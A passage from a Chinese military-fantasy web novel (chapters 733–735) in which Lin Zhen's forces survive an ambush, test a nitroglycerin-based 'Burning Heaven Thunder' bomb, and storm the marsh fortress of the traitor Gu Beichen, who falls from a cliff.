白石涧的寒风在狭窄的谷道中呼啸穿梭,如同万千冤魂的呜咽,卷起细碎的雪沫和砂砾,抽打在裸露的岩石和行人的脸上,带来刺骨的寒意和尖锐的刺痛。 两侧是高达千仞、如同刀劈斧削般的陡峭崖壁,覆盖着厚厚的积雪和冰层,在惨淡的月光下反射着幽冷的微光,散发出令人心悸的冰冷与死寂。 谷道崎岖蜿蜒,最窄处仅容两马并行,脚下是深不见底的漆黑深渊,唯有湍急的涧水在谷底发出沉闷的轰鸣。 能见度极低,火把的光芒在狂风中摇曳不定,勉强照亮前方数步之地。 楚惜灵靛蓝劲装外罩黑色斗篷,清冷的脸庞在风帽遮掩下只露出紧抿的嘴唇和锐利的眼眸。 她背负着那个特制的铅盒,内衬棉絮弹簧,包裹着致命的稳定剂样本。 每一步都走得异常沉稳,靴底踩在湿滑的碎石上,发出轻微的咯吱声。 橙萱紧随其后,黑色皮甲紧裹身躯,短剑悬腰,眼神如同鹰隼般扫视着两侧崖壁的每一处阴影,手中紧握着一枚小巧的铜哨。 二十名绣衣卫精锐分散前后,黑衣蒙面,背负劲弩短刀,动作迅捷如狸猫,无声潜行,如同融入夜色的幽灵。 空气紧绷如弦,只有风声、水声和压抑的呼吸声。 “前面就是鬼见愁,”橙萱压低声音,指着前方一处更加狭窄、如同巨兽咽喉般的隘口,“最险处一线天长百丈,宽不足五尺,两侧绝壁,猿猴难攀。” 楚惜灵微微颔首,清冷的眼眸中闪过一丝凝重。 “戒备。” 小队速度放缓,阵型收缩。 两名绣衣卫斥候如同壁虎般贴壁前行,手中特制的飞爪无声射出,嵌入岩缝,身形灵巧地攀上数丈高的崖壁凸石,警惕地扫视前方隘口。 “安全……”一名斥候打出手势。 橙萱略松一口气,挥手示意前进。 小队鱼贯进入一线天。 两侧崖壁高耸入云,几乎遮蔽了所有天光,谷道幽暗如同墓道,寒气刺骨。 脚下是湿滑的冰面,头顶不时有细碎的冰凌和雪块簌簌落下。 火把的光芒在狭窄的空间内跳跃,将人影拉得扭曲变形,更添几分阴森。 就在小队行至隘口中段,最狭窄处时! “嗡——!” 一声低沉诡异的嗡鸣毫无征兆地在谷中响起,如同巨兽磨牙,紧接着,“轰隆隆——!!” 震耳欲聋的巨响从头顶传来,两侧崖壁剧烈震动,无数巨大的岩石裹挟着冰雪,如同山崩般倾泻而下,带着雷霆万钧之势砸向谷底。 “落石,隐蔽!”橙萱厉喝,声音被轰鸣淹没! “保护楚大人!”绣衣卫嘶吼! “噗噗噗——!”巨大的岩石砸落,冰雪飞溅,惨叫声瞬间响起,数名绣衣卫闪避不及,瞬间被砸成肉泥,或被滚落的巨石碾入深渊,谷道瞬间被堵塞。 “嗖嗖嗖——!”密集的箭矢如同飞蝗般从两侧崖壁的阴影中射出! 箭头闪烁着幽蓝的光芒,带着凄厉的破空声。 “毒箭,举盾!”橙萱怒吼。 “铛铛铛——”绣衣卫举起随身携带的圆盾格挡,但箭矢太过密集,角度刁钻,仍有数人中箭,伤口瞬间发黑,惨叫着倒地抽搐。 “火油!放!”崖顶传来一声冰冷的命令。 “呼呼呼——!”数十个燃烧的火油罐被抛下,砸在谷道中,烈焰腾空而起,浓烟滚滚,瞬间将狭窄的谷道变成一片火海,冰雪融化,毒烟弥漫。 “咳咳咳——!”幸存的绣衣卫被浓烟呛得剧烈咳嗽,视线模糊。 “杀——!” 震天的喊杀声从前后谷口响起,无数黑影如同潮水般涌来,身穿各部落皮袄或黑袍,手持弯刀骨朵狼牙棒,面目狰狞,眼神狂热! 正是秃鹫、雪狼、风隼三部的死忠残匪和顾北辰的黑鳞死士! 为首一人,紫袍半掩,青铜面具在火光下幽冷如鬼,正是顾北辰。 “楚惜灵,交出样本,留你全尸!”顾北辰冰冷的声音穿透火焰与喧嚣。 “做梦!”橙萱短剑出鞘,剑光如电,瞬间劈翻两名冲近的匪徒! “绣衣卫结阵死战,护楚大人突围!” “杀——!”残存的绣衣卫发出悲壮的怒吼,背靠背结成圆阵,将楚惜灵死死护在中央,弩箭连射,短刀挥舞,与数倍于己的敌人展开惨烈的白刃战! 刀光剑影,血肉横飞,惨叫声、兵器碰撞声、火焰燃烧声交织在一起,如同地狱的屠宰场。 楚惜灵被护在阵心,清冷的脸上沾满烟灰血污,眼神却异常冷静。 她迅速扫视战场:前路被落石火海阻断,后路被匪徒封死,两侧绝壁高不可攀,谷道狭窄,兵力无法展开,敌人居高临下,占尽地利。 绝境。 她的目光落在怀中紧抱的铅盒上。 稳定剂样本,极度危险,撞击、高温、静电……皆可致爆…… 一个疯狂的念头在她脑中闪过。 “橙萱!”楚惜灵声音清冷急促,“掩护我,上右侧崖壁,第三块凸石!” 橙萱虽不解,但毫不犹豫! “跟我来!”她短剑化作一片光幕,逼退数名匪徒,两名绣衣卫悍不畏死,用身体挡住射向楚惜灵的毒箭,楚惜灵趁机如同灵猫般窜出,飞爪射出,精准勾住右侧崖壁第三块巨大的凸石,身形借力一荡,险险避开下方劈来的刀锋,攀上凸石。 “放箭,射死她!”顾北辰厉喝! 密集的箭矢射向凸石,楚惜灵伏低身体,铅盒护在身下。 箭矢钉在岩石上,火星四溅。 “扔火油,烧死她!”顾北辰眼中凶光爆射。 燃烧的火油罐砸向凸石,烈焰腾起,浓烟滚滚。 楚惜灵被火焰和浓烟包围,高温炙烤,呼吸艰难,但她眼中却闪过一丝决绝,她猛地打开铅盒取出那个双层陶罐,罐体冰冷,她手指颤抖,却异常稳定地旋开外层陶盖,露出内胆的水银锡箔衬里。 “顾北辰!”楚惜灵声音穿透火焰,“你要的焚天雷在此!” 她猛地将陶罐高举,作势欲掷。 “住手!”顾北辰瞳孔骤缩,声音带着一丝不易察觉的惊骇,他深知此物威力,若在此地爆炸所有人都得陪葬! 匪徒攻势为之一滞,连箭雨都稀疏了几分。 就在这电光火石的一瞬! “呜——呜——呜——!”三声短促尖锐的铜哨声划破夜空,是橙萱发出的信号。 “轰——!轰——!轰——!!” 震耳欲聋的爆炸声毫无征兆地在谷口两侧崖顶炸响,火光冲天,碎石如同暴雨般倾泻而下,惨叫声瞬间从崖顶传来。 “神机营,是神机营的火炮。”有匪徒惊恐尖叫! “不可能,他们应该在黑石关!”顾北辰脸色剧变! “杀——!”震天的怒吼从谷口方向传来,密集的燧发枪声如同爆豆般响起,铅弹如同死神的镰刀,泼洒向拥堵在谷口的匪徒。 “噗噗噗——!”匪徒如同割草般倒下。 “金吾卫!冲锋!”毛梦极嘶哑的咆哮如同惊雷,枯瘦的身影一马当先,玄色披风在火光中猎猎作响,长刀挥舞,带起一片血雨腥风。 身后,数百金吾卫重甲骑兵如同钢铁洪流,狠狠撞入敌阵,瞬间将匪徒的包围圈撕开一道巨大的缺口。 “殿下!”橙萱惊喜呼喊。 谷口处,林臻玄甲蟠龙,金剑拄地,傲然而立。 身后,神机营火枪手列阵齐射,硝烟弥漫! 他目光如电,穿透混乱的战场,锁定崖壁凸石上那道被火焰包围的靛蓝身影。 “灵儿,跳下来!”林臻厉喝! 楚惜灵没有丝毫犹豫,在火焰吞噬她的前一刻,她猛地将陶罐塞回铅盒,抱紧盒子,纵身一跃,从数丈高的凸石上跳下。 林臻爆发出惊人的力量,凌空接住下坠的楚惜灵,两人就地一滚,卸去冲力! “撤!”顾北辰目眦欲裂,看着如同神兵天降的金吾卫和神机营,他知道中计了! 林臻根本不在明线车队,他亲自来了,带着最精锐的神机营。 “拦住他们!”顾北辰声音狠厉,残余的死士和匪徒如同疯狗般扑上,试图阻挡金吾卫的冲锋,为顾北辰撤退争取时间。 “想走?”毛梦极眼中凶光爆射,身影如同鬼魅般扑向顾北辰,“留下狗头!” “保护相爷!”数名黑鳞死士悍不畏死地拦住毛梦极。 “滚开!”毛梦极长刀狂舞,刀光如瀑,瞬间劈翻两人,但也被死死缠住。 顾北辰深深看了一眼被金吾卫重重保护的楚惜灵和她怀中的铅盒,又看了一眼如同魔神般杀来的毛梦极和林臻冰冷的眼神,眼中充满了怨毒与不甘。 他猛地转身,紫袍翻卷,如同毒蛇般钻入崖壁一道隐秘的裂缝,瞬间消失无踪! 残余的死士和匪徒见主将遁走,士气崩溃,或跪地投降,或四散奔逃,被金吾卫和绣衣卫无情绞杀! 风雪依旧肆虐,鬼见愁峡谷内,火焰渐熄,浓烟未散。 遍地尸骸,血流成河,将洁白的雪地染成刺目的暗红。 金吾卫士兵沉默地清理着战场,救治伤员。 空气中弥漫着浓重的血腥、焦糊和硝烟气息。 林臻走到楚惜灵面前,玄甲染血,目光沉静。 “样本安好?” 楚惜灵抱着铅盒,清冷的脸上带着一丝劫后余生的苍白,但眼神依旧坚定。 “安好。” “好,不愧是我的女人。”林臻声音低沉。 楚惜灵微微摇头,看向峡谷中牺牲的绣衣卫尸体,眼中闪过一丝痛惜。 “只是代价太大了。” “他们的血不会白流。”林臻目光扫过战场,落在顾北辰遁走的裂缝处,“顾北辰跑不了。” 毛梦极拖着滴血的长刀走来,枯瘦脸上沾满血污,眼中凶光未褪。 “末将无能,让那老狗跑了。” “穷寇莫追。”林臻声音平静,“鬼见愁是他的葬身之地。只是时辰未到。” 橙萱捂着左臂一道深可见骨的刀伤,鲜血染红衣襟,却倔强地站着。 “殿下……明线车队……” “萧寒舟无恙。”林臻道,“赫连豹残部袭扰黑石关,被毛将军预设伏兵击溃。赫连豹授首。” 毛梦极眼中闪过一丝快意。 “此役顾北辰党羽折损大半。三部死忠元气尽丧。焚天雷之秘仍在我手。然工坊重建,样本完善刻不容缓。” “明白。”楚惜灵抱紧铅盒,“稳定剂还需最后验证。运输之法仍需攻克。” “回燕京。”林臻转身,玄色披风在风雪中翻卷,“重整旗鼓。下一战直捣黄龙,诛杀顾北辰!” 第733章 联络外邦? 燕京的初雪悄然而至,细碎的雪花如同洁白的羽毛,纷纷扬扬地洒落,覆盖了断魂谷口的焦黑与血污,掩盖了鬼见愁峡谷的狰狞与惨烈,为这座饱经战火洗礼的北疆雄城披上了一层素雅的银装。 然而,这表面的宁静之下,暗流汹涌,肃杀之气如同冰层下的寒流,无声地流淌。 断龙崖下,深渊工坊的重建已近尾声。 新筑的石壁更加坚固厚实,通风管道纵横交错,萤石幽光与鲸油火把交织,映照着井然有序的忙碌景象。 三号反应釜经过彻底检修与升级,铜制搅拌桨在冰水夹层的包裹下平稳转动,双冗余水银温度计液柱稳定,釜体表面新增了数道复杂的铜制压力表和安全阀。 工匠们身着特制棉服,动作精准而沉稳,空气中弥漫着硫磺、硝石和一种更加稳定的化学制剂气息。 楚惜灵站在高台控制室,靛蓝工装纤尘不染,清冷的脸上带着一丝不易察觉的疲惫,但眼神却异常明亮锐利。 她手中拿着一份墨迹未干的实验报告,声音清晰平稳地汇报:“夫君,稳定剂‘硅藻土-三号’最终配比验证完成。撞击测试万次,爆率降至千分之三。震动模拟测试,爆率降至千分之五。高温测试,稳定性无变化。静电测试,爆率归零。” 她顿了顿,指向下方一个特制的双层铅盒,盒内静静躺着一个巴掌大小、通体黝黑、表面光滑如镜的金属圆柱体。 “首批‘焚天雷’原型弹试制完成。弹体为精炼熟铁铸造,内填‘硅藻土-三号’稳定吸附的硝化甘油混合剂,重三斤七两。触发引信采用改良燧发机括,延迟三息引爆。” 林臻玄色蟠龙常服,负手立于高台边缘,深邃的目光扫过那枚散发着冰冷光泽的金属圆柱,沉静无波。 “威力测一下我看看” “是。”楚惜灵示意。 一名工匠小心翼翼地将铅盒捧至试验场。 试验场位于工坊最深处,由整块花岗岩开凿而成,四周设有厚重的铅板屏障。 远处,竖立着一堵厚达三尺的夯土包砖墙。 工匠将原型弹置于特制支架,调整角度,对准土墙。后退至安全区,拉动引线。 “嗤……”引信燃起微弱的火花。 三息之后。 “轰——!!!” 一声沉闷却极具穿透力的巨响,整个试验场微微震动,炽热的火焰夹杂着浓烟和碎石冲天而起,烟尘散尽,只见那堵厚达三尺的夯土包砖墙,中央赫然被炸开一个直径丈许的巨大豁口,砖石粉碎,焦黑一片。 “洞穿三尺夯土砖墙!”毛梦极枯瘦的脸上刀疤跳动,眼中闪过一丝惊骇。 “有效杀伤半径十五步。”楚惜灵补充道,“破片可洞穿皮甲。” 林臻微微颔首,眼中精光一闪。 心说这他妈比手榴弹还牛逼呢。 “量产如何。” “原料充足,工艺稳定,日产可达十枚。”楚惜灵道,“然运输存储仍需特制减震铅盒,远离火源,专人看管。” “足够了。”林臻声音低沉,“传令工部全力保障‘焚雷司’所需,扩招工匠,增建熔炉,月内日产三十枚。” “是!”工部官员躬身领命。 “灵儿,”林臻目光转向楚惜灵,“新式火器研制如何。” 楚惜灵眼中闪过一丝微光:“参照燧发枪原理,设计掷弹筒图纸已毕。筒身长三尺,内径三寸,精铁铸造,配简易支架与角度调节器。以黑火药为推进,可抛射‘焚天雷’原型弹射程百五十步至两百步。精度待测。” “试制样品,要尽快!”林臻道。 “是。” 紫宸殿内,炭火盆驱散着深冬的寒意,却驱不散殿内凝重的气氛。 巨大的北燕舆图悬挂于壁,山川河流,关隘城池,标注清晰。 林臻端坐主位,萧寒舟、毛梦极、楚惜灵、橙萱及各部将领肃立。 “顾北辰匿踪何处。”林臻声音平静。 “回殿下,”萧寒舟手持卷宗,“‘猎隼营’斥候密报,顾北辰残部遁入阴山极北黑水死泽。该地终年瘴气弥漫,沼泽遍布,毒虫横行,人迹罕至。其依托一处废弃古堡黑石堡为巢穴,收拢秃鹫、雪狼、风隼三部死忠残匪及黑鳞死士,人数约五百。然地形险恶易守难攻。强攻恐伤亡惨重。” “黑水死泽……”林臻目光落在舆图西北角那片被标注为墨绿色的区域、 “据蛇窟降者供述,”萧寒舟继续道,“黑水死泽深处确有硫磺矿脉裸露,硝石沉积丰富。顾北辰或正试图重建焚天雷工坊。” “呵,垂死挣扎。”毛梦极眼中凶光一闪。 “困兽犹斗。”林臻声音低沉,“他是不是和外邦还有联络?” “有!”萧寒舟神色凝重,“‘绣衣卫’截获密信,顾北辰遣心腹密使,携重金及‘焚天雷’残片样本北上柔然、西出高昌,意图勾结外虏,引兵犯境,搅乱北疆,趁乱东山再起!” 殿内一片死寂。空气仿佛凝固。 “柔然……高昌……”林臻眼中寒光骤凝,“狼子野心,其心可诛!” “殿下!”兵部官员上前一步,“柔然铁骑彪悍,高昌弓马娴熟。若其受顾北辰蛊惑,趁我北燕初定,根基未稳之际,发兵来犯后果不堪设想!” “绝不能让外虏踏入北燕一步!”毛梦极握紧刀柄。 “被动防御非上策。”林臻声音沉稳,手指在舆图上划过,“主动出击犁庭扫穴!诛杀顾北辰,断其祸根,震慑外虏!” “那黑水死泽怎么办……”萧寒舟面露忧色。 “天险亦可破。”林臻目光锐利如刀,“灵儿!” “在!” “‘焚天雷’可破坚城否。” 楚惜灵清冷的眼眸中闪过一丝明悟:“黑石堡若为石砌,‘焚天雷’可破其门,毁其墙!” “毛梦极!” “末将在!” “着你统率靖边营、神机营精锐携焚天雷三十枚,掷弹筒五具,秘密潜行直捣黑水死泽,目标黑石堡,破其巢穴,诛杀顾北辰!” “末将领命!”毛梦极枯瘦脸上刀疤扭曲,眼中凶光炽盛。 “萧寒舟!” “在!” “联络秃鹫、雪狼、风隼三部流官,令其集结部族青壮由流官统率,封锁黑水死泽所有出口,构筑防线,凡有外逃者格杀勿论!” “臣遵旨!” “橙萱!” “在!” “率绣衣卫精锐,潜入柔然、高昌王庭,散播消息,言顾北辰穷途末路,意图引狼入室,祸乱草原,若其敢犯境,大乾天兵必犁庭扫穴,灭其国祚!” “明白!” “本世子……”林臻缓缓起身,玄色披风无风自动,“亲率金吾卫主力,陈兵北境,威慑柔然、高昌,为毛将军掠阵!” 黑水死泽,黑石堡。 腐朽的巨石城堡矗立在终年不散的灰绿色瘴气之中,如同巨兽的骸骨。 堡内潮湿阴冷,弥漫着霉味、腐臭和硫磺的刺鼻气息。 残破的大厅内,篝火摇曳,映照着顾北辰青铜面具下愈发阴鸷的脸庞和周围残兵败将绝望麻木的神情。 “相爷,柔然王庭回信……”黑袍老者(蛇王)佝偻着走进,声音嘶哑,“言焚天雷威力尚可,然样本太少,不足以抗衡大乾边军,需更多实物及配方。” “贪婪!”顾北辰眼中寒光一闪,手指捏得骨节发白。 “高昌亦然……”蛇王低声道,“言林臻凶威正盛,此时犯境风险太大。” “鼠目寸光!”顾北辰声音冰冷,“林臻小儿根基未稳,北燕疲敝,此乃天赐良机!” “相爷,我们粮草将尽,”一名亲卫低声道,“沼泽猎获稀少,部众怨声载道。” “废物!”顾北辰厉喝,“传令,再派死士出泽,劫掠周边村落,不惜一切代价获取粮草,另加快毒涎提纯,本相要再造焚天雷,让那些蛮夷看看什么叫真正的力量!” “是。”亲卫声音发颤。 “报——!”一名浑身泥泞的斥候踉跄冲入,“相爷,不好了,泽外发现大批部族骑兵,秃鹫、雪狼、风隼三部的旗号,由流官统率,封锁了所有出口,构筑工事,凡有出泽者杀无赦!” “什么?!”顾北辰猛地站起,青铜面具下的脸色剧变,“三部叛了?!” “流官持林臻手令,三部青壮皆听调遣。”斥候声音绝望。 “林臻好狠的手段!”顾北辰眼中怨毒如炽,“想困死本相?!” “相爷怎么办……”残匪头目面露惶恐。 “慌什么!”顾北辰声音狠厉,“黑石堡天险,沼泽屏障,林臻大军进不来,耗下去,看谁先死!” 他走到窗边,望向泽外灰蒙蒙的天空,眼中闪过一丝疯狂。“传令,集中所有毒涎配发死士,组建焚雷死队,本相要让他们尝尝同归于尽的滋味!” 断龙崖下,深渊工坊。 五具新铸的“掷弹筒”整齐排列,筒身黝黑,泛着金属冷光。 工匠们正小心翼翼地将“焚天雷”原型弹装入特制的减震铅盒,再放入垫满棉絮的藤箱。 毛梦极一身特制的玄黑轻甲,背负长刀,枯瘦的脸上刀疤在火光下狰狞蠕动,眼神锐利如鹰隼,扫视着整装待发的“靖边营”与“神机营”精锐。 楚惜灵将最后一份密封的工艺图卷轴交给毛梦极。 “毛将军,焚天雷使用要诀尽在此卷,触发引信延迟三息,投掷需臂力强劲,精准抛射。掷弹筒射角调节参照此图,切记,远离火源,轻拿轻放。” “楚夫人放心。”毛梦极接过卷轴,声音嘶哑,“末将定让这些铁西瓜在顾老狗的老巢开花!” “黑水死泽,瘴气毒虫,”楚惜灵清冷的眼眸中闪过一丝担忧,“特制避瘴丹,驱虫粉已备足。然沼泽行军还是险恶万分。” “末将死人堆里爬出来的,怕什么瘴气毒虫!”毛梦极眼中凶光一闪,“此去不是顾北辰死就是末将亡,没有第三条路!” 他猛地转身,枯瘦的手臂高举:“儿郎们!出发!” “是!”低沉整齐的应诺声在深渊中回荡。 数百精锐如同沉默的黑色洪流,悄无声息地没入通往地面的甬道,消失在风雪之中。 燕京北境,风雪关。 雄关巍峨,旌旗猎猎。 林臻玄甲蟠龙,立于城楼,猩红披风在寒风中翻卷。 他目光如电,遥望北方苍茫的雪原。 身后,数万金吾卫铁甲森然,刀枪如林,肃杀之气直冲云霄。 “报——!”传令兵飞奔而至,“殿下,柔然、高昌边境异动,柔然左贤王部集结三万骑,高昌鹰师两万步骑,动向不明!” “再探!”林臻声音平静无波。 “是。” “殿下,是否主动出击?”副将问道。 “不。”林臻目光深邃,“陈兵于此便是威慑,毛梦极那边需要时间。” 他望向西北阴山方向,眼中寒光闪烁。 第734章 顾北辰好贱啊 黑水死泽,终年不散的灰绿色瘴气如同粘稠的毒液,沉甸甸地笼罩着这片死亡之地。 腐朽的枯木虬结如鬼爪,从墨绿色的泥沼中探出,挂满湿滑的苔藓和灰白的菌丝。 浑浊的泥潭表面,不时冒出腐败的气泡,破裂时散发出一股刺鼻的硫磺与腐殖质混合的恶臭。 淤泥之下,潜伏着致命的毒虫和滑腻的水蛇。 空气中弥漫着令人窒息的湿热和一种深入骨髓的阴冷。 死寂,是这里的主旋律,唯有偶尔响起的怪异鸟鸣或毒虫爬行的窸窣声,更添几分毛骨悚然。 一支沉默的黑色洪流,如同幽灵般在泥沼与腐木间艰难穿行。 毛梦极玄黑轻甲外涂抹着特制的防虫泥浆,枯瘦的脸上刀疤在昏暗的光线下更显狰狞,眼神锐利如鹰隼,扫视着周围每一寸可能致命的陷阱。 他身后,数百名靖边营与神机营精锐,同样涂抹泥浆,背负着沉重的藤箱(内装焚天雷铅盒)和拆解的掷弹筒部件,手持长杆探路,脚踏特制的宽大木屐,动作迅捷而谨慎。 空气中弥漫着浓烈的避瘴丹辛辣气息和驱虫粉的刺鼻味道。 “将军,前方鬼跳涧,”斥候压低声音,指着前方一片被浓雾笼罩、水流湍急的狭窄水道,“水道浑浊,深不可测,暗流漩涡遍布,对岸有暗哨。” 毛梦极眼中凶光一闪:“水鬼队下水,摸哨!” 数名精挑细选、水性极佳的死士无声滑入浑浊的水中,口衔芦苇管,如同水蛇般潜向对岸。 片刻后,对岸传来几声极其轻微的闷哼和重物落水声。 “暗哨,清除。”水鬼队队长浮出水面,打出手势。 “架索桥!”毛梦极低喝。 特制的牛皮绳索被抛向对岸,固定在枯木上。 士兵们如同猿猴般攀索而过。 “注意脚下,淤泥有吸力!”毛梦极提醒。 一名士兵稍有不慎,木屐陷入淤泥,瞬间被吸至大腿,旁边同伴眼疾手快,长杆递出,将其死死拖住,奋力拉出! 淤泥中,一条手臂粗的斑斓水蛇被惊动,闪电般窜出,毒牙森然,毛梦极长刀如电,寒光一闪,蛇头飞起,蛇身扭曲着落入泥潭。 “快走!”毛梦极声音冰冷。 历经三日非人的跋涉,穿越毒虫沼泽,渡过死亡水道,避开瘴气毒潭,队伍终于抵达黑石堡外围。 巨大的、由黝黑火山岩垒砌的城堡,如同巨兽的颅骨,矗立在死泽中央一片相对干燥的高地上。 堡墙高达五丈,厚重斑驳,爬满墨绿的苔藓和藤蔓。 堡门紧闭,由厚重的包铁橡木制成。堡墙上,隐约可见稀疏的守卫身影在浓雾中晃动。 空气中,硫磺的气息愈发浓烈。 “将军,堡墙坚固,强攻伤亡必重。”副将低语。 “强攻?”毛梦极嘴角勾起一丝残忍的弧度,“老子有铁西瓜!” 他枯瘦的手指指向堡门:“掷弹队,准备!” 五具掷弹筒被迅速组装架设,精铁筒身泛着幽冷的光泽,简易支架固定在坚实的泥地上。 神机营炮手熟练地调整着射角,将一枚沉重的焚天雷原型弹装入筒膛。 “目标堡门,三发连射,放!”毛梦极声音嘶哑低沉。 “嘭!嘭!嘭!嘭!嘭——!” 沉闷的发射声响起,五枚黝黑的金属圆柱体带着凄厉的尖啸,划破浓雾,如同死神的请柬,精准地砸向巨大的堡门。 “轰——!轰——!轰——!轰——!轰——!!!” 五声震耳欲聋的恐怖巨响几乎同时炸开,炽热的火焰夹杂着浓烟和锋利的金属碎片冲天而起,厚重的包铁橡木堡门如同纸糊般被撕裂,扭曲变形,巨大的门轴断裂,半扇门板轰然倒塌,露出黑洞洞的门洞,碎石飞溅,烟尘弥漫,堡墙上的守卫被震得东倒西歪,惨叫声被爆炸声淹没。 “破开了!”士兵们眼中闪过兴奋! “别急!”毛梦极眼中凶光更盛,“堡内还有瓮城,焚雷死队,上!” 数十名身披双层厚牛皮甲、头戴铁盔面罩的死士,两人一组,抬着沉重的“焚天雷”铅盒,如同猎豹般冲向炸开的堡门! 他们动作迅捷,目标明确——冲入堡内,将“焚天雷”投掷到核心区域。 “放箭!拦住他们”堡墙上响起惊恐的嘶吼。 “嗖嗖嗖——”稀疏的箭雨射下。 “神机营掩护!”毛梦极厉喝。 “砰!砰!砰!砰——!”神机营火枪齐射,压制墙头守卫。 “轰——!”一声巨响从堡门内传来,伴随着凄厉的惨叫,一名冲在最前的“焚雷死队”士兵被不知从何处射出的淬毒弩箭击中,怀中的“焚天雷”脱手坠落,撞击在石阶上,瞬间爆炸,恐怖的冲击波将他和附近数名同伴撕成碎片,烟尘弥漫。 “小心机关!”毛梦极目眦欲裂。 残余的死士悍不畏死,利用同伴的牺牲和烟尘掩护,如同疯虎般冲入堡门! “轰——!轰——!轰——!”接连的爆炸声在堡内不同方向响起,火光冲天,浓烟滚滚,惨叫声、房屋倒塌声、惊恐的呼喊声交织在一起,整个黑石堡陷入一片混乱。 “冲锋!”毛梦极长刀前指,“杀进去,活捉顾北辰!” “杀——!”震天的怒吼响起,靖边营精锐如同出闸的猛虎,挥舞着刀枪,踏过同伴的残骸,冲入浓烟弥漫的堡门,与仓促集结的残匪和黑鳞死士展开惨烈的巷战,刀光剑影,血肉横飞。 堡内核心,黑石大厅。 篝火摇曳,映照着顾北辰青铜面具下扭曲的脸庞和眼中疯狂的怨毒。 剧烈的爆炸声和喊杀声越来越近,地面都在微微颤抖。 “相爷,顶不住了,快撤吧。”黑袍老者声音嘶哑,带着绝望。 “撤?”顾北辰声音冰冷如九幽寒风,“本相还有一份大礼没送出去!” 他猛地掀开身后一个覆盖着厚厚油布的巨桶! 桶内,盛满了粘稠的、散发着刺鼻杏仁苦味的黑色油状液体——未完全提纯的“毒涎”! “焚雷死队何在!”顾北辰厉喝! 十名身披浸透火油麻布、眼神狂热的死士踏步而出! “拿起火把!”顾北辰声音带着一种毁灭的疯狂,“冲出去,冲向敌阵,点燃毒涎让林臻的走狗尝尝地狱的滋味!” “为相爷尽忠!”死士齐声低吼,声音如同鬼泣! 他们抱起沉重的陶罐,舀起粘稠的毒涎,浇遍全身,然后抓起燃烧的火把。 “开门!”顾北辰眼中闪烁着最后的疯狂。 沉重的侧门轰然打开。 “杀——”十名浑身浇满毒涎、手持火把的死士,如同燃烧的恶鬼,发出非人的咆哮,疯狂地冲向涌来的靖边营士兵。 “拦住他们!”毛梦极瞳孔骤缩,厉声嘶吼。 “砰!砰!砰!”火枪轰鸣,数名“焚雷死士”中弹倒地,但身上的“毒涎”被火把点燃,瞬间化作熊熊燃烧的火人,发出凄厉至极的惨嚎,却依旧挣扎着向前冲。 “噗嗤!”长矛刺穿一名火人的胸膛,但火焰瞬间沿着矛杆蔓延,持矛士兵惨叫着松手。 “轰——!”一名火人冲入人群,怀中的陶罐碎裂,毒涎四溅,火焰瞬间爆开,数名士兵被火焰吞噬,惨叫着翻滚,火势迅速蔓延,点燃了周围的木制建筑。 “散开,散开,用长兵器,远程射杀。”毛梦极目眦欲裂,枯瘦的身影如同鬼魅般闪动,长刀化作一道寒光,精准地削飞一名火人的头颅,无头的尸体依旧燃烧着向前冲出数步才栽倒。 混乱! 惨烈! 如同人间炼狱! “顾北辰,纳命来!”毛梦极一刀劈翻最后一名火人,浑身浴血,如同地狱爬出的修罗。 他目光如电,穿透浓烟与火焰,死死锁定大厅深处那道紫袍身影。 “毛梦极……”顾北辰青铜面具下发出嘶哑的笑声,带着无尽的怨毒,“林臻的一条好狗。” “死!”毛梦极眼中凶光爆射,枯瘦的身影爆发出恐怖的速度,长刀化作一片死亡的旋风,直扑顾北辰。 “保护相爷!”数名黑鳞死士悍不畏死地扑上! “滚开!”毛梦极长刀狂舞,刀光如瀑,血肉横飞,瞬间劈翻三人,但也被死死缠住。 顾北辰冷冷看着如同疯魔般的毛梦极,眼中闪过一丝决绝。 他猛地转身,冲向大厅后方一条隐秘的甬道。 “想跑?!”毛梦极怒吼,一刀逼退死士,身形如电,直追而去。 甬道狭窄幽深,通向堡后悬崖。 顾北辰紫袍翻卷,速度极快! “留下狗头!”毛梦极声音嘶哑,长刀脱手飞出,化作一道凄厉的寒光,直射顾北辰后心。 “噗嗤!”长刀精准地贯入顾北辰右肩,巨大的力量带着他向前踉跄数步。 “呃啊——!”顾北辰发出一声痛苦的闷哼,鲜血瞬间染红紫袍,他猛地回身,青铜面具下双目赤红,左手闪电般拔出一柄淬毒的匕首,狠狠掷向毛梦极。 毛梦极身形诡异一扭,匕首擦着脖颈飞过,带起一道血痕。 “死吧!”毛梦极枯瘦的手掌如同鹰爪,带着凌厉的劲风,狠狠抓向顾北辰咽喉。 顾北辰眼中闪过一丝疯狂。 不闪不避,右手猛地抓住贯入肩头的刀柄,用力一拔,鲜血喷溅,同时左手一扬,一把腥臭的黑色粉末劈头盖脸洒向毛梦极。 “毒粉!”毛梦极瞳孔骤缩,猛地闭气后撤,但仍吸入少许,顿时头晕目眩,动作一滞。 顾北辰趁机转身,扑向悬崖边一条垂下的藤蔓。 “哪里走!”毛梦极强忍眩晕,一脚踢飞地上一块碎石,碎石如同炮弹般射向藤蔓。 “咔嚓!”藤蔓应声而断。 顾北辰抓了个空,身体失去平衡,惨叫着从悬崖边缘跌落! 下方……是深不见底、毒瘴弥漫的死亡沼泽。 “噗通!”沉闷的落水声传来,墨绿色的泥沼翻滚了几下,迅速恢复平静。 只留下悬崖边一滩刺目的鲜血和半截断裂的藤蔓。 毛梦极冲到崖边,枯瘦的脸上沾满血污和毒粉,头晕目眩,扶着岩壁剧烈喘息。 他死死盯着下方翻滚的泥沼,眼中凶光闪烁,却无半分喜色。 活要见人,死要见尸。 顾北辰……绝不能活! 堡内的厮杀声渐渐平息。 残余的匪徒和死士在绝对的力量和恐怖的焚天雷面前,或被歼灭,或跪地投降。 黑石堡易主。 第735章 解毒挖骨 黑水死泽的瘴气如同粘稠的裹尸布,沉沉地覆盖着黑石堡的残骸。 焦黑的断壁残垣在灰绿色的浓雾中若隐若现,空气中弥漫着浓烈到令人作呕的混合气息——血腥、焦糊、硫磺硝石的刺鼻、毒虫腐尸的恶臭,以及一种深入骨髓的阴冷死寂。 堡内,靖边营士兵沉默地清理着战场,收敛着袍泽与被炸得支离破碎的匪徒尸体,麻木的脸上刻满疲惫与劫后余生的沉重。 堡后悬崖边,那滩暗红的血迹和断裂的藤蔓,在湿滑的苔藓上显得格外刺眼。 毛梦极枯瘦的身体倚靠在冰冷的岩壁上,玄黑轻甲布满刀痕与毒粉灼烧的焦黑痕迹,脸上那道狰狞的刀疤因痛苦而扭曲,嘴唇乌紫,呼吸急促而微弱。 